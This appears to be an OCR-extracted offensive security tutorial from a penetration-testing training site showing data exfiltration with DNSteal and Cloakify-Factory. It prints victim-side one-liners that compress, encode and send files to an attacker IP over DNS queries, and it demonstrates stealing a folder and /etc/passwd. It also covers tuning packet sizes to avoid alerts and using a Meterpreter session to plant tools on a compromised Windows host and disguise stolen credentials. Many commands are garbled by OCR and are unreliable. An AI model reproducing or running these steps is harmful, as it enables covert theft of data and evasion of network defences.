.sshy 2020/08/31 04:15
data.txt 2020/08/31 08:24
file to save 2020/08/31 08:34

WEBrick/1.6.0 (Ruby/2.7.0/2019-12-25)
at 192.168.0.196:1234

You can try out other Linux binaries for data exfiltration from https://gtfobins.github.io/
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Data Exfiltration using DNSSteal

DNS Protocol and it’s working

The DNS protocol works on TCP/UPD port 53. It is a stateless protocol as it exchanges specific
information. It allows a network to connect to the internet and without it, all the surfing on the
internet would be impossible and far-fetched. Its function is to translate IP address to hostnames (for
the convenience of the user) and vice versa. Hence the utmost importance of DNS in a network.

DNS Data Exfiltration and it’s working

As we know that DNS is a stateless protocol, i.e. it was never meant to send or receive data from a
client to the server. Even so, the authorized DNS will believe that all the queries sent to it are
legitimate. And this fact is exploited by attackers as if a request made to a subdomain then that
request is treated as data only if the query is constructed properly. For instance, the attacker sends a
qguery to example.target.com and the DNS target.com receives ‘example’ as a string then it will
consider the said string as data and this will et the attack access target.com. Now, this lets the attacker
set up a covert channel mostly by using the C2 server between DNS and client and retrieves all the
data through bidirectional communication. Manipulating DNS in such a way to retrieve sensitive data
is known as DNS data Exfiltration.

When data is transferred from one system to another without any direct connection and this transfer
of data is done over DNS protocol then it is known as DNS Data Exfiltration. DNS protocol is exploited
to get attackers to get their hands-on sensitive data.

Introduction to DNSteal

DNSteal is a tool that sets up a fake DNS server and allows an attacker to sneak in a network. As the
name suggests it is based on DNS protocol and works on port 53. It is used to extract data from the
target after setting up the connection and is one of the best tools for DNS Data Exfiltration. Multiple
files can be extracted using this tool. It also supports Gzip file compression. It all lets you manage the
size of packets which carries your data over the network to reduce suspicions.
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Proof of Concept

Download DNSteal using the following command:

git clone https://github.com/m57/dnsteal

And to further initiate the tool and see all the parameters it provides, use the following command:

python dnsteal.py

:~# git clone https://github.com/m57/dnsteal.git
Cloning into 'dnsteal’ ...
remote: Enumerating objects: 8@, done.
remote: Total 8@ (delta @), reused @ (delta @), pack-reused 8@
Unpacking objects: 100% (80/80), 93.91 KiB | 282.00 KiB/s, done.
:~# cd dnsteal/
: # 1s
dnsteal.py LICENSE README.md
: # python dnsteal.py 1:

-

NN 2 e e —
|) NN =)

SO O L YA W W W i L

-- https://github.com/m57/dnsteal.git -

Stealthy file extraction via DNS requests

Usage: python dnsteal.py [listen_address] [options]

Options:
-z Unzip incoming files.
-V Verbose output.
=h This help menu

Advanced:
=b Bytes to send per subdomailn (default
-5 Number of data subdomains per request (default
-f Length reserved for filename per request (default

$ python dnsteal.py -z 127.0.0.1
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Now we will generate a command using DNSteal; the said command will extract the desired data upon
execution on the target system. To generate the command, give your local IP and use -z parameter.
This -z parameter will unzip the files upon receiving as they are zipped by default. Therefore, type:

python dnsteal.py 192.168.1.112

# python dnsteal.py 192.168.1.112 -z

AV Y V2 I T

\

. - F -
R _I."\_l___a‘"l S " et g LT

-~ https://github.com/m57/dnsteal.git —
Stealthy file extraction wvia DNS requests
[+] DNS listening on '192.168.1.112:53'
[+] On the wvictim machine, use any of the following commands:
[+] Remember to set filename for individual file transfer.
[?] Copy individual file (ZIP enabled)

f=file.txt; s=4;b=57;c=0; for r in $(for i in $(gzip -c $f| basebs -w@ | sed "s/.\{$b\}, &
ho -ne $r$f|tr "+" "x" +short; done
[?] Copy entire folder (ZIP enabled)

for f in $(1s .); do s=4;b=57;c=0; for r in $(for i in $(gzip -c $f| base6s -wd | sed "s

1.112 “echo -ne $r$f|tr "+" "%"" sshort; done ; done

[+] Once files have sent, use Ctrl+C to exit and save.

From our target system, we will request the secret.txt file over the DNS connection that will establish
when we will run the given command. The contents of secret.txt can be seen in the following image.
Now as you can see in the image above, two commands are generated. Copy the first one (highlighted
one).

root@ubuntu:~/ignite# 1s

secret.txt

root@ubuntu:~/ignite# cat secret.txt
Join Ignite Technologies
ww.hackingarticles.in
root@ubuntu:~/ignite# I

And paste it in the destination folder. Before executing the command, make sure that filename has
been changed to the name of the file you desire as shown in the image below:

root@ubuntu:~/ignite# f=secret.txt] s=4;b=57;c=0; for r in $(for i in S(gzip -c 5f| bas
e64 -w0 | sed "s/.\{Sb\}/&\n/fg");do if [[ "Sc" -1t "$s" ]]; then echo -ne "S$i-."; c=5(
gt |

(5c+1)); else echo -ne " -."; c=1; fi; done ); do dig @192.168.1.112 ‘echo -ne $rsf
tr 'I+'I Mg - -

Note: if you received an error “dig:
‘H4sICLttFFSAA3NIY3JIdC50eHQAY8hUyYFRIzZFU0SsziAgC/9XeXDAAAA-.A==-.secret.txt’ is not a legal
IDNA2008 name (string start/ends with forbidden hyphen),” then just edit your above command
(f=secret.txt) by adding “+noidnin +noidnout” at end of the command you have pasted.
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And when the command is executed, the requested file will be received on your terminal. The tool will
also calculate the MD5 hash sum for you. Also, you can view the content of the file with the cat
command as shown in the image below:

[+] Once files have sent, use Ctrl+C to exit and save.

[>] len: '123 bytes' - secret.txt
“C

[Info] Saving recieved bytes to ./recieved_2020-84-26_14-55-85_secret.txt'
[md5sum] '12d8d6@B637163f3b96d53384a7bd7aa’

Closing ...
: # cat ./recieved_2020-04-26_14-55-85_secret.txt

Join Ignite Technologies

www . hackingarticles.in

# 1

Now we will try to extract a whole folder instead of a single file. Initiate the DNS server provided by
DNSteal tool via typing the following command:

python dnsteal.py 192.168.1.112 -z

# python dnsteal.py 192.168.1.112 -z

AN L
) FYALEY

S W DY A

== https://github.com/m57/dnsteal.git --
Stealthy file extraction via DNS requests
[+] DNS listening on '192.168.1.112:53'
[+] On the victim machine, use any of the following commands:
[+] Remember to set filename for individual file transfer.
[?] Copy individual file (ZIP enabled)

f=file.txt; s=4;b=57;c=0; for r in $(for i in $(gzip -c $f| basebs -w@ | sed "s/.\{$b\}/&\n/g");do if [[ "$q
ho -ne $r$f|tr "+" "*"" +short; done
[?] Copy entire folder (ZIP enabled)

for f in $(1s .); do s=4;b=57;c=0; for r in $(for i in $(gzip -c $f| base6s -w@ | sed "s/.\{$b\}/&\n/g");do
1.112 “echo -ne $r$f|tr "+" """ +short; done ; done
[+] Once files have sent, use Ctrl+C to exit and save.

The folder which we will try to retrieve is shown in the image below, inclusive of their contents. The
folder contains all type of data including .pdf, .msi, .png, .dll.

Again, you will see that it generated two commands. However, this time we will copy the second one
(highlighted on) and paste it in the destination folder as shown below:

root@ubuntu:~/ignite# 1s

aarti.msi pavan.dll secret.txt vyashika.pdf

root@ubuntu:~/ignite# for f in 5(1ls .); do s5=4;b=57;c=0; for r in $(for i in $(gzi

p -c 5f| bas -wB | sed "sf.\{Sb\}/&\n/g");do if [[ "Sc" -1t "Ss" ]]; then echo
-ne "Si-."; c=5((5c+1));: else echo -ne "\nSi-."; c=1; fi; done ); do dig @192.168
1. 1] ‘echo -pe Srs B R o 1 : dope : done
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Upon the execution of the command, you can see the folder is received accurately with the calculated
MDS5 hash sum for each file as shown in the image below:

Once files have sent, use Ctrl+C to exit and save.

len: '52 bytes' - aarti.msi
len: '52 bytes' - pavan.dll
len: '5@0 bytes' - raj.png
len: '123 bytes' secret.txt
len: '58 bytes' yashika.pdf

[Infol Saving recieved bytes to './recieved_2020-04-26_14-59-37_yashika.pdf’
[mdSsum] 'd4é1d8cd98f00b204e9800998ecf8427e’

[Info] Saving recieved bytes to './recieved_2020-04-26_14-59-37_raj.png'
[md5sum] 'd41d8cd98f00b204e9800998ecf8L27e’

[Info] Saving recieved bytes to './recieved_2020-04-26_14-59-37_pavan.dll'
[md5sum] 'd41d8cd98f@0b204e9800998ecf8427e’

[Info] Saving recieved bytes to './recieved_2020-04-26_14-59-37_secret.txt'
[md5sum] '12d8d608637163f3b96d53384a7bd7aa’

[Info] Saving recieved bytes to './recieved_2020-04-26_14-59-37_aarti.msi'
[md5sum] 'd41d8cd98f00b204e9800998ecf8427e’

Closing ...
n # 1s

dnsteal.py README.md recieved_2020-04-26_14-59-37_aarti.msi

LICENSE recieved_2020-04-26_14-55-05_secret.txt recieved_2020-04-26_14-59-37_pavan.dll

To reduce the suspicion of the attack, an attacker can divide the file into multiple packets. These
packets can be of fixed size in bytes. An attacker can even allocate some bytes to the file name. this is
done to avoid triggering an alert in a network which abusing of UDP packet’s size will do. This
customization can be done by using -s, -b and -f parameters. The parameter -s is for defining the
subdomain value, -b is for specifying the number of bytes per packet and -f is for defining the value of
bytes for the filename. In the following command, which can be well observed from the image given
below as well, we have defined 4 subdomains. The bytes per packet are set to 57and file name value
is 17.

python dnsteal.py 192.168.1.112 -z -s 4 -b 57 -f 17

# python dnsteal.py 192.168.1.112 -z -s 4 -b 57 -f 17

AN e
1) .\ o
Ly I\_I___f\__ N |v2.0

== https://github.com/m57/dnsteal.git --
Stealthy file extraction via DNS requests
[+] DNS listening on '192.168.1.112:53"'
[+] On the victim machine, use any of the following commands:
[+] Remember to set filename for individual file transfer.
[?] Copy indiwvidual file (ZIP enabled)
f=file.txt; s=4;b=57;c=0; for r in $(for i in $(gzip -c $f| basebst -wd | sed "s/.\{$b\}/&\n/
ho -ne $r$f|tr "+" "*"" +short; done
[?] Copy entire folder (ZIP enabled)
for f in $(1s .); do s=4;b=57;c=0; for r in $(for i in $(gzip -c $f| basebst -w@ | sed "s/.\{

1.112 “echo -ne $r$f|tr "+" "*"" +short; done ; done

[+] Once files have sent, use Ctrl+C to exit and save.
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Now we will acquire the passwd file from the target. As you can see from the image below, the size of
the file is 2511 bytes. Now just copy the command and paste it in the /etc folder on the target system.
Again, before executing the command make sure to change the filename to passwd.

:~# cd fetc
c# 1s -la passwd
root 2511 Apr 5 ©5:33 passwd
c# f=passwd; s=4;b=57;c=0; for r in $(for i1 in S(gzip -c Sf| base64 -wod |
dig @192.168.1.112 “echo -ne SrSf|tr "+" "*"" +short; done
; Warning: Me e parser reports malformed message packet.

; Warning: age parser reportm malformed message packet.
; Warning: Message parser re S orme essage packet.
; Warning: Me e parser repe orme e e packet.
; Warning: e parser repc orme e e packet.
; Warning: Message parser reports malformed essage packet.

Once the command is executed, you can see that the data received will be in chunks of 243 bytes as
shown in the image below. And when the receiving is complete, it will give you the MD5 hash sum too
and you can read the contents of the file with simple cat command as the file received will be
uncompressed:

Once files have sent, use Ctrl+C to exit and save.

len: '243 bytes' passwd
len: '243 bytes' passwd
len: '243 bytes' passwd
len: '243 bytes' passwd
len: '243 bytes' passwd
len: '87 bytes' passwd

[Info] Saving recieved bytes to './recieved_2820-04-26_15-14-58_passwd'
[md5sum] '1bf2ea7af61704c2f707ed422c4dcoBa’

Clusing._
# cat ./recieved_2020-04-26_15-14-58_passwd

root:x:0:0:root: /root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games: /usr/sbin/nologin

:x:6:12:man:/var/cache/man: /usr/sbin/nologin

:x:7:7:1p:/var/spool/1pd: fusr/sbin/nologin

mail:x:B:8:mail: /var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news: fusr/sbin/nologin

:x:10:10:uucp: /var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
wuw-data:x:33:33:www-data:/var/wm: /usr/sbin/nologin
backup:x:34:34:backup: /var/backups: /usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd: /usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody: /nonexistent: /usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106 :: /home/syslog: /usr/sbin/nologin
messagebus:x:103:107 :: /nonexistent: /usr/sbin/nologin
_apt:x:104:65534 :: fnonexistent:/usr/sbin/nologin
uuidd:x:1@5:111:: /run/uuidd: /usr/sbin/nologin
avahi-autoipd:x:106:112:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
usbmux:x:107:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
dnsmasq:x:108:65534:dnsmasgq, , , :/var/lib/misc: /usr/sbin/nologin
rtkit:x:109:114:RealtimeKit,,,:/proc:/usr/sbin/nologin
cups-pk-helper:x:110:116:user for cups-pk-helper service,,,:/home/cups-pk-helper:/usr/sbin/no
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And this way we have retrieved the password file. And while this transfer of data, Wireshark helped
us validate the bytes per packet size. Also, we can confirm that the connection established as well as
the transfer of data is being done on port 53.

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

AN @ mMERE Qe2EF IS5 aaQa

[_I|ip.addr == 192.168.1.112 [X] "] Expression... +

No. * Time Source Destination —Bratorol Length Info |4

8.122645544 1t 8.1. 3.1 Standard
14485 78.123117371 192.168.1.112 192.168.1.1186 DNS 341 Standard query respor
14486 78.139785080 192.168.1.116 192.168.1.112 DNS 325 Standard query 8x208f
14487 78.140452673 192.168.1.112 192.168.1.116 DNS 341 Standard query respor
14488 78.158592356 192.168.1.118 192.168.1.112 DNS 325 Standard query 8x779E
14489 78.151042859 192.168.1.112 192.168.1.110 DNS 341 Standard query respor
14519 78.176974884 192.168.1.116 192.168.1.112 DNS 325 Standard query @xfG2E
14520 78.177353397 192.168.1.112 192.168.1.1186 DNS 341 Standard query resporn
14524 78.188336349 192.168.1.118 192.168.1.112 DNS 325 Standard query 8xcbca
14525 78.188712898 192.168.1.112 192.168.1.1106 DNS 341 Standard query respor
14528 78.208870407 192.168.1.116 192.168.1.112 DNS 169 Standard query @x625€
14529 78.209412951 192.168.1.112 192.168.1.110 ONS | 185 Standard query respor 5
1 4
p Frame 14484: 325 bytes on wire (2608 bits), 325 bytes captured (260@ bits) on interface @
p Ethernet II, Src: Vmware_c3:87:1f (@@:0c:29:c3:87:1f), Dst: Vmware_59:bb:e3 (80:0c:29:59:bb:
p Internet Protocol Versionm 4, Src: 192.168.1.116, * 192.168.1.112
» User Datagram Protocol, Src Port: 39673, Dst Purtﬂtf::r
w Domain Mame System (query)
Transaction ID: Bx72e3
¢ Flags: 0x@120 Standard query
Questions: 1
Answer RRs: @
Authority RRs: @
Additional RRs: 1
w» (Queries
w [truncated]H4sICAbQiV4AAIBhcIN3ZACFVEtu2zAMfe9X6HEDaii2c2nOtgHANUXWE - . HsTFFUNhd1S5J91"
Name [truncated]: HASTICADQIVAAAIBhC3NIZACFVLtuZzAMTedXGHEDaii2cZnOtgHANUXWE - . HSTFFUN
[Label Count:
Type: A (Host Address) (1)
Class: IN (0x@001)
b Additional records
[Response In: 14485]
4 I |
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Cloakify-Factory

Cloakify Installation & Usages (for Linux)

CloakifyFactory — Data Exfiltration & Infiltration In Plain Sight; Convert any filetype into a list of
everyday strings, using Text-Based Steganography; Evade DLP/MLS Devices, Defeat Data Whitelisting
Controls, Social Engineering of Analysts, Evade AV Detection.

Only you need to type following for downloading the cloakify from GitHub in the target machine.

git clone https://github.com/TryCatchHCF/Cloakify.git

cd Cloakify.py

chmod -R 777 noiseTools

Let’s run the python script to lunch cloakifyfactory.py

python cloakifyFactory.py

CloakifyFactory is a menu-driven tool that leverages Cloakify Toolset scripts. When you choose to
Cloakify a file, the scripts first Base64-encode the payload, then apply a cipher to generate a list of
strings that encodes the Base64 payload. You then transfer the file however you wish to its desired
destination. Once exfiltrated, choose Decloakify with the same cipher to decode the payload.
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:~/Cloakify# python

ltrate Any

Writ
https:/

ntation

WHAT IT DOES:

Let’s take an example now that we want to copy a text file “pwd.txt” from within the target system
containing the login credentials of different machines in the network.

ignitel23
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Method -1

It may be dangerous to copy the text file directly, so we will transform the input file data into another
file as output. To do so follow the below steps:

1. Runthe python script to launch cloakifyfactory.py

2. Press 1 to select cloakify a file option

3. Enter the path of the source file that you want to transform the input file.

4. Enter the path of the destination file to where you want to save the output.

> in Plain Sight"

NHCF

y a File
filename to

fault: 'tempList.txt'):
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Further, you will get a list of ciphers, choose the desired option for encrypting the file. Suppose | want

the whole content to get changed into facial emojis.

1. Press 3 for emoji cipher

2. Allow to Add noise to cloaked file by pressing Y for yes.

3. Then press 1 to select prependemoji.py as a noise generator.
This will save the output result inside the raj.txt file.

(]

-
L=
3+
=
n

5.

dessertsThail
rickrollYoutube

emoji

dessertsHindi

evadehV

amphibians
belgianBeers

worldBeaches
hashesMD5

- worldFootballTeams
statusCodes
dessertsRussian
dessertsChinese
dessertsSwedishChef
desserts
pokemonGo
ipAddressesToplag
dessertsPersian
starTrek
topWebsites
geoCoordsWorldCapitals
dessertsfArabic
skiResorts
geocache

00 =] @ LN b W B

Enter cipher #: 3

Add noise to cloaked file? (y/n): y

Moise Generators:
prependEmoji.py
prependID.py
prependLatLonCoords. py
prependTimestamps.py

Enter noise generator #: 1

Creating cloaked file using cipher: emoji

Adding noise to cloaked file using noise generator:

Cloaked file saved to: /root/Desktop/raj.txt

K< alRE= www.hackingarticles.in

Technologies

prependEmoji.py

Page |44



As result, you will get the output content something like shown in the below image.

:~/Desktop# cat raj.txt

L 4
S
e
=
@
e
@
L]
e
L]
-]
®
m
o
o
L]
| 4
L]
L]
L 4
-
e
e
€®
=
e
®
¢
<
@
S
Ll
L
o

Now if you want to obtain the output result in its original format, then you can go with the decloakify
option which will revert the transformation into its original existence, but before that, you have to
give all permissions to removeNoise.py

chmod 777 removeNoise.py
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To do so follow the below steps:
1. Run the python script to launch cloakifyfactory.py
2. Press 2 to select decloakify a file option
3. Enter the path of the file that you want to restore back into its original format.
4. Enter the path of the file to where you want to save the output.

ault=n): y

Enter cipher #:
ng file using cipher:

(TempFile
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Method 11

Again, we have a similar file that we want to cloaked into another format directly without operating
the cloakifyfactory console.

‘Desktop# cat org.txt
IP: 192.1¢ 1.1
User: admin
ssword: admin

: 192.
Ser: raj

IP: 192.
User: ignite
ord: ignitel23

This time you can use a single command to cloak the file by adding specify the type of cipher as given
below:
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python cloakify.py /root/Desktop/pwd.txt ciphers/starTrek

After executing the above command, we can observe the output result would be something like this
as shown in the below image.

vd.txt ciphers/starTrek
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So, we have used the file.txt file as destination file to save the transformed information inside it
without printing the output result on the screen. Moreover, further, we have used decloak command
to revert the transformed file back into its original state.

python cloakify.py /root/Desktop/pwd.txt ciphers/starTrek >
/root/Desktop/file.txt

python decloakify.py /root/Desktop/pwd.txt ciphers/starTrek

Cloakify Installation and Usages (For Windows)

As we all know this is an exfiltration tool and data could be exfiltrate from any platform either from
Linux or Windows based OS, therefore cloakifyfactory has built the application both platforms. In the
1%t phase, we have use python-based application for Linux machine and now remotely we are going to
deploy cloakify factory inside Windows machine using MSI package of python for our python based
application.

Thus, we downloaded the MSI package in our local machine (Kali Linux):

wget https://www.python.org/ftp/python/2.7/python-2.7.msi

python-2.7.msi

2019-05-09 12:
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Now our purpose is to show how an intruder can remotely exfiltrate the data using cloakifyfactory.
So, we had compromised the system first and got the meterpreter session and then uploaded the MSI
package inside the victim’s machine to install the dependency required for python.

upload python-2.7.msi .

shell

msiexec /i python-2.7.msi /qgn

I e E - SR—
python-2.7.msi

c /1 python-2.7.ms

ywnloads :=I

| Now download the zip file for cloakifyfactory from GitHub in your local machine.
@ & GitHub, Inc. (US) | https://github.com/TryCatchHCF/Cloakify
IS caj Opening Cloakify-master.zip [ x ] l

You have chosen to open:

il Cloa kify-master.zip <2I

whichis: Zip archive
from: https://codeload.github.com

What should Firefox do with this file?

Openwith | Archive Manager (default) v

Save File

Do this automatically for files like this from now on.

Cancel
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We also need to download 7-zip exe program for extracting the cloakify-master.zip.

Download x |+

< C @ @ & https://www.7-zip.org/download.html
E——
. Opening 7za920.zip [ > ]

Home
7z Format

LZMA SDK il 7za920.zip &

Download
FAQ which is: Zip archive (376 KB)

Support from: https:/fwww./-zip.org
Links

You have chosen to open:

What should Firefox do with this file?

English Openwith | Archive Manager (default) v

Chinese Simpl ; -
Chinese Trad. Save File
Esperanto

Erench Do this automatically for files like this from now on.
German

Indonesian

Japanese
Portuguese B
Spanish

T A

Cancel Ok

Now extract the 7za920.zip and you will get the 7za.exe file that we have to inject in the victim’s
machine.

/Downloads# s

—_

‘Downloads# unzip 7z
Archive:
inflz
inflz
infls
infla

license. txt readme. txt
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Now let’s upload 7za.exe and cloakfy-master.zip in the remote system. And further, use the 7za.exe
program to unzip the cloakify-master.zip.
Therefore, execute the following command:

upload /root/Downloads/Cloakify-master.zip .
upload /root/Downloads/7za.exe

shell

7za.exe x cloakify-master.zip

meterpreter > upload /root/Downloads/Cloakify-master.zip

[*] uploading : /root/Downloads/Cloakify-master.zip -=

[*] uploaded : /root/Downloads/Cloakify-master.zip -= .\Cloakify-master.zip
meterpreter = upload /root/Downloads/7za.exe

[*#] uploading : /root/Downloads/7za.exe ->

[*] uploaded : /root/Downloads/7za.exe -> .\7za.exe

meterpreter = shell

Process 6304 created.

Channel 32 created.

Microsoft Windows [Version 10.0.17134.706]

(c) 2018 Microsoft Corporation. All rights reserved.

C:\Users\raj\Downloads=7za.exe x Cloakify-master.zip
7za.exe x Cloakify-master.zip

7-Zip (A) 9.20 Copyright (c) 1999-201@ Igor Pavlov 2010-11-18
Processing archive: Cloakify-master.zip

Extracting Cloakify-master

Extracting Cloakify-master\DefCon245lides

Extracting Cloakify-master\DefCon24Slides\DefCon24 Cloakify Exfiltration Toolset.pdf
Extracting Cloakify-master\DefCon24Slides\SHA-256 Hash.txt

Extracting Cloakify-master\LICENSE

Extracting Cloakify-master\README.md

Extracting Cloakify-master\README GETTING STARTED.txt

Extracting Cloakify-master\ciphers

Extracting Cloakify-master\ciphers\amphibians

Extractin Cloakify-master\ciphers\belgianBeers

Now we want to transfer the secret.txt file of the compromised machine but directly copying the file
might generate the alert, therefore, we will transform the data as done above.

meterpreter = cat secret.txt
Best of Cyber Security Training Course

IGNITE TECHNOLOGIES is starting SUMMER TRAINING class with exclusives offer.
Summer Training Courses:

Ethical Hacking

Metwork Penetration Testing
Web Penetration Testing
Computer forensic

CTF Challenges

Red Teaming Practice

For more details, please contact Ignite Technologies:
Address: 3rd Floor, 26 Pusa Road (Adjacent Karol Bagh Metro Station Gate No.
CALL US (+91) - 9599387841, (011) & 45103130

‘GNITE www.hackingarticles.in Page |52

Technologies



Now again we try to covert the content of the secret.txt file by hiding it behind the cloaked file. And it
is very simple as performed earlier with little modification. So now we can run the cloakify.py file with
the help of python.

C:\Python27\python.exe cloakify.py C:\Users\raj\Desktop\secret.txt
ciphers\pokemonGo > dump.txt

type dump.txt

Thus, we can observe that with the help of cloakify we have transformed the filetype cannot be
detected easily.

onGo > dump.txt

Reference:

e https://www.hackingarticles.in/cloakify-factory-a-data-exfiltration-tool-uses-text-based-
steganography/

e https://www.hackingarticles.in/data-exfiltration-using-dnssteal/

e https://www.hackingarticles.in/data-exfiltration-using-linux-binaries/

e https://www.hackingarticles.in/covert-channel-the-hidden-network/

e https://www.hackingarticles.in/data-exfiltration-using-powershell-empire/
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